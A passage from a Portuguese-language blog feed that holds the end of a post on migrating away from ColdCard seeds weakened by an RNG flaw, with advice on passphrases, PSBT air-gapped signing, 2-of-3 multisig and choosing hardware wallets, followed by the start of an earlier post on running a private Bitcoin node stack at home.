    <a href="#passphrase-outra-wallet-n%c3%a3o-outra-senha" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No BIP39, a mnemonic é a entrada principal de PBKDF2-HMAC-SHA512. O salt é a string <code>mnemonic</code> concatenada com a passphrase, e a função roda 2.048 iterações. Toda passphrase produz uma wallet válida. Um caractere errado não mostra &ldquo;senha incorreta&rdquo;; abre outra wallet, normalmente vazia.</p>
<p>Uma passphrase longa, aleatória, única e independente pode proteger uma mnemonic exposta ou fraca. No caso ColdCard, ela acrescenta um segredo que não veio do RNG defeituoso: o atacante precisa combinar cada candidata à mnemonic com uma tentativa de passphrase. Se essa passphrase tiver entropia suficiente e nunca tiver vazado, o ataque pode voltar a ser inviável.</p>
<p>Mas citação, padrão humano ou senha reutilizada vira ataque de dicionário offline, sem rate limit. As 2.048 iterações do BIP39 não transformam uma passphrase fraca em forte. E perdê-la é tão definitivo quanto perder as palavras. PIN da hardware wallet não substitui passphrase. PIN protege o aparelho físico; passphrase participa da derivação das chaves.</p>
<p>Guarde a passphrase separada da mnemonic e teste uma restauração completa antes de depositar valor relevante. Registre também o fingerprint esperado e pelo menos um endereço. Na restauração, eles dizem se você entrou na wallet certa.</p>
<blockquote>
  <p>No caso ColdCard, não acrescente uma passphrase agora à seed vulnerável e chame isso de migração. Crie raiz nova. A passphrase pode fazer parte da nova arquitetura, mas os bitcoins precisam sair dos scripts derivados da raiz antiga.</p>

</blockquote>
<h2>Sparrow, air gap e PSBT<span class="hx:absolute hx:-mt-20" id="sparrow-air-gap-e-psbt"></span>
    <a href="#sparrow-air-gap-e-psbt" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://sparrowwallet.com/"target="_blank" rel="noopener">Sparrow</a> é o coordenador que uso. Ele conhece descriptors, xpubs, endereços, UTXOs e histórico. Pode montar uma transação, mas numa configuração watch-only não tem chave privada pra assinar.</p>
<p>É aí que entra o <a href="https://github.com/bitcoin/bips/blob/master/bip-0174.mediawiki"target="_blank" rel="noopener">PSBT, padronizado no BIP174</a>. O Sparrow cria uma Partially Signed Bitcoin Transaction com inputs, outputs, valores e dados de derivação necessários. O arquivo ou QR vai pro signer offline. O signer confere, adiciona sua assinatura e devolve o PSBT. Em multisig, o mesmo pacote passa pelos signers restantes até atingir o quorum. Sparrow combina, finaliza e transmite.</p>
<p>O fluxo single-sig air-gapped fica assim:</p>
<ol>
<li>Sparrow monta a transação no computador online.</li>
<li>Você exporta o PSBT por QR ou microSD.</li>
<li>ColdCard, SeedSigner ou outro aparelho mostra destino, valor e fee.</li>
<li>Você confere na tela do signer e assina.</li>
<li>Sparrow importa o PSBT assinado, finaliza e transmite.</li>
</ol>
<p>Air gap reduz a superfície de ataque. Não é campo de força. QR e microSD continuam transportando dados, firmware malicioso continua sendo firmware malicioso e um coordinator comprometido pode tentar trocar endereço de destino ou de troco. A tela do signer existe pra você comparar endereço, valor e fee antes de apertar Confirm.</p>
<blockquote>
  <p>E air gap não melhora entropia retroativamente. A ColdCard vulnerável podia passar a vida inteira sem cabo USB. A chave já nasceu fraca.</p>

</blockquote>
<h2>Multisig 2-de-3: mais seguro e muito mais burocrático<span class="hx:absolute hx:-mt-20" id="multisig-2-de-3-mais-seguro-e-muito-mais-burocrático"></span>
    <a href="#multisig-2-de-3-mais-seguro-e-muito-mais-burocr%c3%a1tico" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Single-sig concentra tudo numa seed, num backup e numa implementação. Dentro das opções acessíveis hoje, <strong>2-de-3 multisig</strong> com signers realmente independentes é o mais perto de segurança máxima que conheço pra eliminar esse ponto único de falha.</p>
<p>Você cria três seeds independentes em signers de fabricantes e codebases diferentes. Sparrow monta uma policy que exige duas assinaturas. Um aparelho pode quebrar ou uma seed pode vazar sem entregar os fundos imediatamente. Dois signers continuam suficientes pra recuperar.</p>
<p>&ldquo;Independentes&rdquo; de novo é a palavra que faz o trabalho. Três hardware wallets alimentadas por três seeds filhas do mesmo BIP85 continuam penduradas numa raiz. Três seeds geradas pela mesma ColdCard vulnerável repetem o risco. Use processos e fontes de entropia separados. Eu misturaria, por exemplo, um signer comercial de outro fabricante, um SeedSigner com dados e um terceiro aparelho com arquitetura diferente.</p>
<p>No Sparrow, o procedimento conceitual é:</p>
<ol>
<li>Crie e faça backup de cada seed separadamente.</li>
<li>Exporte de cada signer o fingerprint, derivation path e xpub.</li>
<li>Crie uma wallet <code>Multi Signature</code>, normalmente Native SegWit, com policy 2-de-3.</li>
<li>Importe os três keystores e faça backup do output descriptor da wallet.</li>
<li>Registre quais signers correspondem a quais fingerprints.</li>
<li>Confira um endereço de recebimento em mais de um signer.</li>
<li>Faça um depósito pequeno, restaure/teste os signers e execute uma retirada completa de ensaio.</li>
</ol>
<p>O descriptor não permite gastar sozinho, mas revela todos os endereços e o histórico. É backup necessário pra reconstruir a policy e também dado sensível de privacidade. Guarde cópias em locais separados das seeds.</p>
<p>Na hora de gastar, Sparrow cria o PSBT; signer A assina; signer B assina; Sparrow combina e transmite. Cada pessoa ou aparelho deve revisar outputs. Multisig com operador que confirma tudo no automático só distribui o mesmo erro em três telas.</p>
<p>Nada disso é mistério pra mim. Mesmo assim, acho burocrático pra cacete: três seeds, três backups, output descriptor, locais separados, dois aparelhos em cada gasto, atualizações de firmware e um plano de recuperação que outra pessoa da família precisa conseguir executar quando você não estiver por perto.</p>
<p>Cada camada reduz um risco técnico e abre outra oportunidade pro operador errar. Usabilidade também faz parte da segurança. Se a arquitetura ficou tão chata que você para de testar os backups, deixa de atualizar os signers ou não consegue documentar a herança, o multisig perfeito do diagrama não vale grande coisa.</p>
<blockquote>
  <p>Eu entendo perfeitamente quem prefere continuar com single-sig e uma passphrase forte, independente e bem guardada. É muito mais fácil de operar. Só faça essa escolha sabendo que aceita um risco maior: você ainda depende de uma raiz e de um único caminho de assinatura. Se esse ponto cair, cai a wallet inteira. Passphrase adiciona uma barreira; não adiciona uma segunda assinatura independente.</p>

</blockquote>
<p>O <a href="https://sparrowwallet.com/docs/best-practices.html"target="_blank" rel="noopener">guia de boas práticas do Sparrow</a> recomenda 2-de-3 com hardware wallets de fornecedores diferentes e backups em locais distintos.</p>
<blockquote>
  <p>Se uma das chaves do seu 2-de-3 veio de ColdCard afetada, o atacante potencialmente já controla essa chave e consegue produzir uma assinatura. Ainda não consegue gastar sozinho, mas seu limiar efetivo caiu: agora basta comprometer mais um signer. Crie uma wallet multisig nova com cosigner novo e mova os fundos. Não existe &ldquo;trocar uma chave&rdquo; mantendo os mesmos endereços; a policy mudou, portanto os scripts também mudam.</p>

</blockquote>
<h2>Fulcrum resolve privacidade, não chave fraca<span class="hx:absolute hx:-mt-20" id="fulcrum-resolve-privacidade-não-chave-fraca"></span>
    <a href="#fulcrum-resolve-privacidade-n%c3%a3o-chave-fraca" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Sparrow precisa consultar a blockchain. Num servidor Electrum público, ele pede o histórico dos script hashes derivados dos seus endereços. O servidor pode correlacionar consultas, horário e IP pra agrupar saldo e histórico, mesmo sem receber o xpub bruto. Pra evitar isso, conecto o Sparrow ao meu próprio Bitcoin Core por meio do Fulcrum.</p>
<p>Mostrei a arquitetura e a instalação em <a href="/2026/04/01/bitcoin-no-home-server-soberania-e-privacidade-com-coldcard-sparrow-e-fulcrum/">Bitcoin no Home Server: Soberania e Privacidade com ColdCard, Sparrow e Fulcrum</a>. O artigo continua útil, com uma correção óbvia: não use uma seed gerada pelo firmware afetado da ColdCard.</p>
<p>Seu node valida a blockchain. Fulcrum indexa e responde rápido ao Sparrow. Isso melhora soberania e privacidade da consulta. Nenhum deles impede um atacante de assinar com uma private key que conseguiu reproduzir por causa de entropia ruim.</p>
<h2>Como eu faria a migração hoje<span class="hx:absolute hx:-mt-20" id="como-eu-faria-a-migração-hoje"></span>
    <a href="#como-eu-faria-a-migra%c3%a7%c3%a3o-hoje" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não transforme uma emergência num segundo acidente. Eu seguiria esta ordem:</p>
<ol>
<li><strong>Faça o inventário.</strong> Liste modelo, firmware que gerou a seed, contas, passphrases, derivation paths e multisigs onde aquela chave participa. Não publique saldo nem endereço em rede social.</li>
<li><strong>Considere a seed comprometida.</strong> Não a digite em software online e não aceite &ldquo;checker&rdquo; de terceiros. Continue assinando no aparelho apenas pelo tempo necessário pra sair.</li>
<li><strong>Escolha a arquitetura nova.</strong> Eu não geraria a nova seed numa ColdCard. Use outro signer novo, comprado diretamente do fabricante, um SeedSigner ou 2-de-3 com implementações diferentes. Não importe nele as palavras antigas. Se insistir em reutilizar a sua ColdCard, instale antes o firmware corrigido pro modelo e release track corretos.</li>
<li><strong>Gere entropia nova.</strong> Use fontes independentes e um mixer auditado. Pra dados, use material casino-grade, várias fontes e pelo menos 99 jogadas pra uma mnemonic de 24 palavras. Eu faria mais.</li>
<li><strong>Faça backup antes de receber.</strong> Mnemonic, passphrase separada, fingerprints e descriptor no caso de multisig. Nunca fotografe nem armazene em cloud.</li>
<li><strong>Teste restauração.</strong> Recrie a wallet, confira fingerprint e endereços. Em multisig, prove que duas chaves conseguem assinar sem depender da terceira.</li>
<li><strong>Verifique o endereço na tela.</strong> Não confie só no que Sparrow mostra no monitor do computador.</li>
<li><strong>Mande um valor pequeno.</strong> Confirme que a wallet nova recebe e consegue gastar. A Coinkite também recomenda esse teste.</li>
<li><strong>Mova o restante logo depois.</strong> Revise fee e todos os outputs. Procure saldo em outras contas, passphrases e endereços de troco derivados da seed velha.</li>
<li><strong>Mantenha o backup antigo marcado como comprometido.</strong> Guarde até ter certeza de que a migração confirmou e de que nenhum depósito atrasado vai chegar. Nunca reutilize endereço antigo.</li>
</ol>
<blockquote>
  <p>Se o ataque estiver correndo contra você, não passe uma semana desenhando o multisig perfeito. Gere um destino seguro e verificado, faça o teste mínimo e tire os fundos do alcance da chave velha. Depois você pode reorganizar UTXOs e melhorar a arquitetura com tempo.</p>

</blockquote>
<h2>Então qual hardware wallet eu recomendo?<span class="hx:absolute hx:-mt-20" id="então-qual-hardware-wallet-eu-recomendo"></span>
    <a href="#ent%c3%a3o-qual-hardware-wallet-eu-recomendo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Hoje, nenhuma.</p>
<p>Depois de explicar geração de entropia, BIP39, passphrase, PSBT, air gap, descriptors e multisig, deveria estar claro que self-custody completamente offline e feita à mão é <strong>muito difícil</strong>. Não espero que uma pessoa normal domine as implicações matemáticas, audite cada algoritmo e execute cada etapa sem errar. Nem a maioria dos programadores conseguiria. Eu também não vou fingir que consigo revisar sozinho toda a cadeia, do silício ao firmware que roda no aparelho.</p>
<p>É justamente por isso que hardware wallets existem. Elas empacotam criptografia e procedimentos complicados numa interface que uma pessoa consegue operar. Isso transfere parte da responsabilidade pro fabricante; não faz a confiança desaparecer.</p>
<p>Deixar a poupança da vida numa conta de exchange continua sendo o pior default. Você não tem as chaves, depende da solvência da empresa, da política de saque, do sistema jurídico e da segurança da conta. Mas um esquema artesanal que você não entende também pode terminar em perda total. Não adianta eliminar o risco de contraparte e substituí-lo por uma cerimônia impossível de restaurar depois de um incêndio ou da própria morte.</p>
<p>Durante anos, hardware wallet foi tratada como o último porto seguro entre esses extremos. A Coinkite abalou essa confiança na categoria inteira. Não quer dizer que Ledger, Trezor, BitBox, Passport, Jade, SeedSigner e todos os demais estejam quebrados ou sejam equivalentes. Quer dizer que nome forte, secure element, air gap, código visível e anos de mercado não bastam. Eu não consigo mais apontar pra um aparelho e dizer: “compre este e durma tranquilo”. Você vai ter que fazer sua lição de casa.</p>
<blockquote>
  <p><strong>NUNCA compre hardware wallet de segunda mão. Compre nova, diretamente da loja oficial do fabricante.</strong> Não economize frete colocando a poupança da sua vida num aparelho que passou pela mão de um desconhecido. Marketplace, leilão, OLX, eBay, “open box”, recondicionado e aquela oferta imperdível de um amigo estão fora de questão.</p>

</blockquote>
<p>Quando o pacote chegar, não rasgue tudo e saia apertando botão. Abra a documentação oficial do modelo e siga a verificação de supply chain. A <a href="https://coldcard.com/docs/quick/"target="_blank" rel="noopener">ColdCard usa uma embalagem serializada que evidencia abertura</a>: o número aparece na bolsa, numa aba interna e no próprio aparelho. A <a href="https://trezor.io/support/troubleshooting/device-issues/is-my-device-safe-to-use"target="_blank" rel="noopener">Trezor documenta os selos holográficos</a> de cada modelo. A <a href="https://support.bitbox.swiss/en_US/orders-shipping/verifying-the-bitbox02-packaging"target="_blank" rel="noopener">BitBox combina embalagem selada com attestation criptográfica</a> feita pelo aplicativo.</p>
<p>Confira lacre, cortes, cola, número serial, conteúdo da caixa e o mecanismo de autenticidade exibido pelo aparelho ou software oficial. Qualquer divergência encerra o setup: não conecte a seed, não tente “ver se funciona” e fale com o fabricante. O aparelho precisa chegar sem wallet inicializada e deve gerar palavras novas na sua frente. Seed impressa dentro da caixa é golpe.</p>
<p>E cuidado com a linguagem: isso tudo é <strong>tamper-evident</strong>, não tamper-proof. A própria documentação da ColdCard admite que uma bolsa pode ser atacada; a BitBox diz que embalagem perfeita não garante autenticidade. Lacre intacto é uma camada. Ainda quero attestation ou genuine check, firmware assinado, verificação do hash quando disponível e teste completo com pouco dinheiro.</p>
<p>Eu começaria por estas perguntas:</p>
<ol>
<li><strong>Qual é o threat model publicado?</strong> O fabricante precisa dizer contra o que protege e, principalmente, o que fica fora do escopo: computador infectado, aparelho roubado, ataque físico com laboratório, supply chain, firmware direcionado, coerção. “Military-grade security” não é threat model.</li>
<li><strong>De onde vem a entropia, exatamente?</strong> Procure as fontes, como elas são combinadas e que testes end-to-end provam que o fluxo <code>New Wallet</code> chega ao RNG prometido. Suporte a dados ou entropia externa é útil, mas só se o mecanismo de mistura for documentado e auditado. O caso ColdCard mostrou que ter o TRNG correto dentro do binário não significa que a geração da seed o utiliza.</li>
<li><strong>O código é realmente livre e o binário corresponde a ele?</strong> “Source available” com licença restritiva não é FOSS. Código aberto permite auditoria, mas não prova que alguém auditou. <a href="https://reproducible-builds.org/docs/definition/"target="_blank" rel="noopener">Build reproduzível</a> permite que terceiros reconstruam o firmware e comparem o resultado bit a bit. Procure verificações independentes e atuais no <a href="https://walletscrutiny.com/"target="_blank" rel="noopener">WalletScrutiny</a>, não apenas a promessa do fabricante.</li>
<li><strong>Como a empresa trata quem encontra falhas?</strong> Leia a política de disclosure, escopo e valores do bounty. Procure advisories antigos, CVEs, post-mortems e a conversa com pesquisadores. Empresa que publica a falha, explica a causa, corrige rápido e agradece ao pesquisador merece mais confiança que uma com histórico supostamente “perfeito”. Às vezes ninguém encontrou vulnerabilidade porque ninguém competente teve incentivo pra procurar.</li>
<li><strong>O que a tela confiável permite verificar?</strong> Antes de assinar, o aparelho deve mostrar endereço, valor, fee e troco. Deve conferir endereço de recebimento no próprio display, permitir entrada de PIN e passphrase sem entregá-los ao computador e registrar corretamente a policy de multisig. Secure element protege chave; não salva uma interface que faz você assinar sem entender os outputs.</li>
<li><strong>Existe uma rota de saída sem o fabricante?</strong> Eu quero padrões interoperáveis: BIP39/BIP32 quando aplicável, <a href="https://bips.dev/174/"target="_blank" rel="noopener">PSBT</a> e <a href="https://bips.dev/380/"target="_blank" rel="noopener">output descriptors</a>. Quero exportar xpub, fingerprint e descriptor, usar Sparrow, conectar meu node e recuperar em outra implementação. Conta obrigatória, cloud proprietária e backup que só abre no aplicativo da empresa são lock-in em cima da chave da sua vida.</li>
<li><strong>Como funcionam hardware, firmware e supply chain?</strong> Secure element, microcontrolador comum e signer stateless fazem trocas diferentes. Descubra o que persiste no aparelho e o que um atacante físico consegue extrair. Releases devem ser assinadas, ter changelog útil, impedir downgrade inseguro e receber manutenção por anos. Pesquise como o aparelho verifica autenticidade, como documenta embalagem e transporte, o que acontece se o servidor de update desaparecer e quais componentes fechados existem. Air gap também não é selo mágico: QR, NFC e microSD são parsers de entrada e continuam sendo superfície de ataque.</li>
<li><strong>Você consegue restaurar sem improviso?</strong> Antes de colocar valor relevante, gere a wallet, faça backup, apague o aparelho e recupere. Confira fingerprint, endereço e uma transação de ida e volta. Em multisig, restaure o descriptor e prove que o quorum funciona sem uma das chaves. Backup nunca testado é esperança, não backup.</li>
</ol>
<p>Eu também pesquisaria o histórico do repositório, issues de segurança, commits recentes, auditorias independentes e tempo entre vulnerabilidade reportada e correção. Buscaria pelo nome do modelo junto com <code>vulnerability</code>, <code>reproducible build</code>, <code>seed entropy</code>, <code>multisig</code> e <code>responsible disclosure</code>. Review de influenciador com link de afiliado serve pra conhecer a tela e o tamanho do aparelho, não pra decidir onde guardar patrimônio.</p>
<p>Pra valores pequenos, um signer comercial bem pesquisado pode ser muito menos arriscado que uma invenção manual. Pra patrimônio que muda sua vida, 2-de-3 com fabricantes e codebases diferentes continua sendo a referência, como recomenda o <a href="https://sparrowwallet.com/docs/best-practices.html"target="_blank" rel="noopener">guia do Sparrow</a>. Isso limita o estrago de um fornecedor comprometido, mas cobra mais backups, mais testes e uma policy bem documentada. Multisig que você não consegue restaurar é pior que single-sig bem cuidada.</p>
<p>Em alguns serviços de custódia colaborativa, uma empresa segura uma das chaves de um 2-de-3. Ela não deveria conseguir gastar sozinha, mas passa a conhecer dados da sua wallet e pode desaparecer, negar serviço ou complicar uma recuperação. Custodiante profissional também troca risco técnico por risco jurídico e de contraparte. No fim, você escolhe qual risco aceita carregar e qual entrega a terceiros.</p>
<p>O melhor que consigo recomendar não é uma marca. Escolha uma arquitetura proporcional ao valor e descubra quais falhas ela tolera. Antes de colocar dinheiro que faria falta, rode o fluxo inteiro com pouco: receba, gaste, apague um signer, restaure o backup e veja se você consegue voltar sozinho.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Self-custody tira o custodiante do caminho, mas deixa uma responsabilidade brutal no lugar. A confiança continua espalhada por silício, firmware, compilador, processo de build, wallet coordinator e pela sua própria disciplina. Hardware wallet continua tendo utilidade porque fazer tudo na mão é impraticável pra quase todo mundo. O erro é confundir essa ferramenta com garantia.</p>
<p>Eu não recomendo hoje uma marca específica. Prefiro distribuir o risco e criar maneiras de pegar falhas: fontes independentes de entropia, código livre, builds reproduzíveis verificados por terceiros, restaurações ensaiadas, signers diferentes e multisig quando o valor justifica e você aceita a burocracia. Single-sig com passphrase é uma escolha compreensível. Só não oferece a mesma tolerância a falhas. Faça essa escolha sabendo o que está delegando e o risco que decidiu manter com você.</p>
<p>Este pode acabar sendo <strong>um dos piores episódios da história da autocustódia em Bitcoin</strong>. Não porque alguém deixou moedas numa exchange vagabunda, digitou a seed num site de phishing ou instalou wallet pirata. Muita gente comprou um aparelho dedicado, anotou 24 palavras, guardou o backup em aço, manteve tudo offline e assinou por air gap. Fez exatamente o que a cultura Bitcoin ensinava como o procedimento correto. Mesmo assim foi pega por um bug nojento no instante mais importante de todos: a escolha da raiz.</p>
<blockquote>
  <p>Nos casos mais graves, o RNG reduziu o universo pra algo na casa de <code>2^40</code>. O atacante não precisa tocar na ColdCard. Ele enumera os estados possíveis, deriva as árvores BIP32 e os endereços mais prováveis, consulta a blockchain pública e encontra quais candidatos têm UTXOs. Quando encontra, também tem as private keys pra assinar. A ColdCard pode estar desligada, sem bateria, sem USB e dentro de um cofre. Não faz diferença. Air gap protege o caminho entre signer e computador; não recupera entropia que nunca existiu.</p>

</blockquote>
<p>Não havia alerta visível. A wallet recebia, assinava e restaurava normalmente até o dia em que outra pessoa reproduziu a mesma chave. Por isso 12 contra 24 palavras, air gap contra USB e secure element contra microcontrolador viram discussões secundárias quando ninguém testou se o botão <strong>New Wallet</strong> chamava o RNG correto.</p>
<p>Também mostra por que não aceito chamar negligência de black swan. O source estava aberto, o caminho era auditável e a cultura afastava parte das pessoas mais capazes de apontar problemas. Foi um cisne branco esperando alguém olhar na direção certa.</p>
<blockquote>
  <p>A lição não é abandonar self-custody. É parar de terceirizar entendimento. Estude o threat model, procure como a entropia é gerada, confira o histórico do fabricante, ensaie recuperação e saiba quais riscos continuam concentrados. Não confie cegamente em empresa, certificação, influencer, tutorial ou artigo. Nem neste aqui. Verifique.</p>

</blockquote>
<p>Eu já movi meus fundos da ColdCard antiga. Na prática, se você tem qualquer ColdCard, faça o mesmo. Não existe prêmio por descobrir tarde demais que seu caso também tinha uma exceção não documentada.</p>
<p>Escolha a nova arquitetura com os critérios acima. Gere uma raiz completamente nova. Misture entropia independente de verdade. Teste o backup. Confira os endereços. Mova tudo.</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>seguranca</category><category>hardware</category></item><item><title>Bitcoin no Home Server: Soberania e Privacidade com Coldcard, Sparrow e Fulcrum</title><link>https://akitaonrails.github.io/2026/04/01/bitcoin-no-home-server-soberania-e-privacidade-com-coldcard-sparrow-e-fulcrum/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/04/01/bitcoin-no-home-server-soberania-e-privacidade-com-coldcard-sparrow-e-fulcrum/</guid><pubDate>Wed, 01 Apr 2026 19:00:00 -0300</pubDate><description>&lt;p&gt;Este post é complemento direto dos meus artigos recentes sobre o &lt;a href="https://akitaonrails.github.io/2026/03/31/migrando-meu-home-server-com-claude-code/"&gt;novo home server com openSUSE MicroOS&lt;/a&gt; e sobre o &lt;a href="https://akitaonrails.github.io/2026/03/31/review-minisforum-ms-s1-max-amd-ai-max-395/"&gt;Minisforum MS-S1 Max&lt;/a&gt;. Naqueles textos eu falei da base. Aqui eu quero mostrar um uso concreto dela: montar uma stack decente de Bitcoin em casa, com foco em privacidade, soberania operacional e transações seguras do meu lado.&lt;/p&gt;
&lt;p&gt;Antes de mais nada: isto aqui não é texto de evangelismo nem chamada pra day trade. Muito pelo contrário. No momento em que escrevo, em 1 de abril de 2026, o Bitcoin está na faixa de US$ 68 mil e perto de R$ 391 mil, abaixo dos picos de 2025. Muita gente olha pra isso e entra em pânico ou começa a fantasiar trade alavancado. Eu acho as duas reações erradas. Existe uma tese de &amp;ldquo;super cycle&amp;rdquo; baseada em demanda institucional, ETFs spot e efeito defasado do halving. Pode ser. Pode não ser. O que eu sei é que candle de curto prazo não muda a parte que realmente me interessa: infraestrutura. Se você precisa de alavancagem pra &amp;ldquo;acelerar ganhos&amp;rdquo;, você provavelmente está só acelerando sua chance de ser liquidado.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Este post é complemento direto dos meus artigos recentes sobre o <a href="/2026/03/31/migrando-meu-home-server-com-claude-code/">novo home server com openSUSE MicroOS</a> e sobre o <a href="/2026/03/31/review-minisforum-ms-s1-max-amd-ai-max-395/">Minisforum MS-S1 Max</a>. Naqueles textos eu falei da base. Aqui eu quero mostrar um uso concreto dela: montar uma stack decente de Bitcoin em casa, com foco em privacidade, soberania operacional e transações seguras do meu lado.</p>
<p>Antes de mais nada: isto aqui não é texto de evangelismo nem chamada pra day trade. Muito pelo contrário. No momento em que escrevo, em 1 de abril de 2026, o Bitcoin está na faixa de US$ 68 mil e perto de R$ 391 mil, abaixo dos picos de 2025. Muita gente olha pra isso e entra em pânico ou começa a fantasiar trade alavancado. Eu acho as duas reações erradas. Existe uma tese de &ldquo;super cycle&rdquo; baseada em demanda institucional, ETFs spot e efeito defasado do halving. Pode ser. Pode não ser. O que eu sei é que candle de curto prazo não muda a parte que realmente me interessa: infraestrutura. Se você precisa de alavancagem pra &ldquo;acelerar ganhos&rdquo;, você provavelmente está só acelerando sua chance de ser liquidado.</p>
<p>Pra mim, a pergunta útil não é &ldquo;vai subir amanhã?&rdquo;. A pergunta útil é: &ldquo;se eu quiser guardar e movimentar Bitcoin sem terceirizar tudo pra exchange, wallet web e API pública, como eu monto isso direito aqui em casa?&rdquo;</p>
<h2>O problema real: conveniência demais custa privacidade demais<span class="hx:absolute hx:-mt-20" id="o-problema-real-conveniência-demais-custa-privacidade-demais"></span>
    <a href="#o-problema-real-conveni%c3%aancia-demais-custa-privacidade-demais" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O fluxo padrão da maioria das pessoas é simples: compra em exchange, deixa parado lá, ou então instala uma wallet qualquer no celular e pronto. Funciona. Também concentra risco e vaza metadado pra todo lado.</p>
<p>Se você deixa saldo em exchange, você tem risco de custódia. Se você usa wallet desktop apontando pra servidor público, você tem risco de privacidade. Se você usa hardware wallet de forma relaxada, comprada no Mercado Livre de segunda mão, você tem risco de supply chain. Se mistura tudo isso com pressa, pior ainda.</p>
<p>Por isso eu acabei chegando numa combinação que, pra quem é técnico e quer montar a própria infra, me parece bastante sólida:</p>
<ul>
<li>Coldcard pro armazenamento frio</li>
<li>Sparrow Wallet no Linux como carteira desktop e coordenadora das transações</li>
<li>Fulcrum no home server como servidor Electrum privado</li>
<li>bitcoind no mesmo servidor como full node de verdade, validando a cadeia e fazendo broadcast sem depender de terceiros</li>
</ul>
<p>Não é o caminho mais fácil. Mas esse é justamente o ponto. Segurança de verdade raramente vem do caminho mais fácil.</p>
<h2>Os conceitos que confundem quem está começando<span class="hx:absolute hx:-mt-20" id="os-conceitos-que-confundem-quem-está-começando"></span>
    <a href="#os-conceitos-que-confundem-quem-est%c3%a1-come%c3%a7ando" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Antes de entrar no stack, vale alinhar quatro termos que normalmente são jogados no ar como se todo mundo já soubesse:</p>
<table>
  <thead>
      <tr>
          <th>Conceito</th>
          <th>O que é</th>
          <th>Por que importa</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Airgap</td>
          <td>Dispositivo que nunca toca na internet nem por USB de dados</td>
          <td>Reduz a superfície de ataque do signer</td>
      </tr>
      <tr>
          <td>PSBT</td>
          <td>Partially Signed Bitcoin Transaction</td>
          <td>Formato padrão pra preparar, assinar e finalizar transações em etapas</td>
      </tr>
      <tr>
          <td>Watch-only wallet</td>
          <td>Carteira que enxerga saldo/endereço mas não guarda chave privada</td>
          <td>Ótima pra desktop: observa e monta a transação, mas não assina</td>
      </tr>
      <tr>
          <td>Full node</td>
          <td>Nó que valida blocos e regras do protocolo localmente</td>
          <td>Você não precisa &ldquo;acreditar&rdquo; em API de ninguém</td>
      </tr>
      <tr>
          <td>Electrum server</td>
          <td>Camada de índice que responde rápido consultas de carteira</td>
          <td>Sem isso, wallets desktop ficam dependentes de servidores públicos</td>
      </tr>
  </tbody>
</table>
<p>Em português claro, o fluxo fica assim:</p>
<ol>
<li>A Sparrow, no desktop, monta a transação.</li>
<li>Essa transação vira um PSBT.</li>
<li>O PSBT vai pra Coldcard por microSD.</li>
<li>A Coldcard assina offline.</li>
<li>O arquivo assinado volta pra Sparrow.</li>
<li>A Sparrow faz o broadcast via seu próprio servidor, não via infraestrutura pública de terceiros.</li>
</ol>
<p>É isso que as pessoas querem dizer quando falam em &ldquo;airgapped workflow&rdquo;. Não é magia. É só separação de papéis feita de forma disciplinada.</p>
<h2>Coldcard: signer frio, offline, chato do jeito certo<span class="hx:absolute hx:-mt-20" id="coldcard-signer-frio-offline-chato-do-jeito-certo"></span>
    <a href="#coldcard-signer-frio-offline-chato-do-jeito-certo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Eu uso <a href="https://coldcard.com/"target="_blank" rel="noopener">Coldcard</a> como cold storage. O motivo é simples: ela foi pensada desde o começo como dispositivo Bitcoin-only, com foco forte em operação airgapped por microSD. Isso já elimina uma categoria enorme de &ldquo;comodidades&rdquo; que muita gente acha prática, mas que eu prefiro não ter perto das minhas chaves.</p>
<p><a href="https://coldcard.com/mk4"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/bitcoin-sovereignty/coldcard-mk4-official.png" alt="Coldcard Mk4 no site oficial da Coinkite"  loading="lazy" /></a></p>
<p>Na prática, a Coldcard fica com a parte mais importante do sistema: a chave privada. Ela não precisa saber de servidor, de Electrum, de API pública, de exchange, de nada disso. O trabalho dela é um só: assinar transação offline.</p>
<p>Esse desacoplamento é ótimo por dois motivos:</p>
<ul>
<li>O desktop pode ser conveniente sem virar ponto único de desastre.</li>
<li>O signer continua isolado mesmo se sua máquina principal der problema.</li>
</ul>
<p>E aqui entra um aviso que eu realmente quero deixar em caixa alta mental:</p>
<p><strong>Nunca compre hardware wallet de segunda mão. Nunca.</strong></p>
<p>Não é exagero. Você não tem como saber, de verdade, o que aconteceu com aquele dispositivo antes de chegar na sua mão. Pode ter seed pré-gerada, firmware adulterado, componente trocado, embalagem refeita, supply chain comprometida, ou simplesmente algum truque bobo esperando você baixar a guarda. Hardware wallet é uma daquelas categorias em que economizar R$ 300 comprando usado é insanidade. Compre sempre do site oficial do fabricante ou de revendedor oficialmente autorizado pelo fabricante. E mesmo assim confira lacres, procedência e firmware.</p>
<h2>Dá pra fazer parecido com um celular velho?<span class="hx:absolute hx:-mt-20" id="dá-pra-fazer-parecido-com-um-celular-velho"></span>
    <a href="#d%c3%a1-pra-fazer-parecido-com-um-celular-velho" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Dá. Mas eu trataria isso como alternativa de estudo ou de orçamento, não como substituto óbvio de uma Coldcard.</p>
<p>O caminho mais sério hoje pra isso é o <a href="https://airgap.it/"target="_blank" rel="noopener">AirGap Vault</a>, que foi justamente desenhado pra usar um smartphone antigo como signer offline, via QR code, mantendo o aparelho fora da rede. A ideia é boa, e pra muita gente pode ser a porta de entrada correta.</p>
<p>Mas tem trade-off:</p>
<ul>
<li>smartphone velho não foi desenhado como hardware wallet dedicada</li>
<li>histórico anterior do aparelho importa</li>
<li>bateria envelhecida, tela ruim e Android abandonado são problemas reais</li>
<li>o modelo de ameaça é menos claro do que num dispositivo dedicado</li>
</ul>
